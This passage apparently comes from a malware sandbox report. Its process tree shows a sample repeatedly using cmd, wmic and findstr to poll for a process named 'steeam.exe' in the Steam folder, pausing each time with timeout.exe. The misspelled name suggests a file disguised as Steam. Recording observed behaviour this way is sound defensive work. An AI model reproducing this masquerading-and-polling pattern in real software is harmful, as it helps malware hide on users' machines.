C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6388

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4048

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4584

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3492

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:964

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6864

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5224

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4568

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6336

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6260

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:548

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5852

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6724

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6504

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6760

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5624

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6024

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4512

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6704

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:3512

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7052

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7048

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4920

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1384

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:116

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:2492

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6860

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5720

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3864

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5828

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2728

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:1044

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4380

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4168

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1976

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3140

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6760

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6660

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5408

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:7020

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7032

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3756

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2620

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1592

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5176

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7144

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:7076

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6280

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:696

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5172

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2592

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2900

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4000

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3632

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6780

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6384

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6872

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5136

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4852

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6744

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3776

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7016

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5128

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6992

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7052

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7104

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7076

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5156

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2884

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5380

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5700

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5584

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5168

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6468

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6356

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6556

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6332

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5996

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1396

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6476

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:7056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3776

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6316

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6920

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2620

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5748

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6972

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4956

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6312

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1056

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3188

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5700

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3760

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5380

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6800

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3208

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4784

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5624

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:7056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2424

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6160

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7120

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6588

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6244

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6632

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6960

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:680

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5056

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6220

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5188

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5364

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1648

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6048

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3628

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6888

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6080

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6708

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6276

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2728

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6116

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6496

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6800

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6876

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7108

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6996

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3656

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6116

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7120

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6180

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6308

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3112

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3776

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5688

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:680

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1036

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:4420

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:3448

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5748

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:5240

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4288

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:1484

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6028

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6520

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6528

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5772

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4512

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:1776

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2992

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4920

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:4964

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:2528

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2116

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4316

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1068

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3864

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5992

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5656

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2044

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6976

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6916

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5360

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1396

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:2128

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7012

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1640

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5988

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6704

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:952

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6944

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6696

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5604

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6584

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6276

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6492

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2116

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5196

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:220

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5244

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1044

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6412

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6184

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6688

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1396

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:6176

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1592

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4492

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7044

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:5344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5980

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6960

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6152

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6280

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1068

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:6880

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6896

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6080

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1728

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4160

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:1424

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:5248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6420

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7056

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6716

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:6664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:4852

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:3172

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:3988

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:3076

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:1384

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:5536

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:6588

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
- Delays execution with timeout.exe
PID:2528

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:5644

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:4492

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:2884

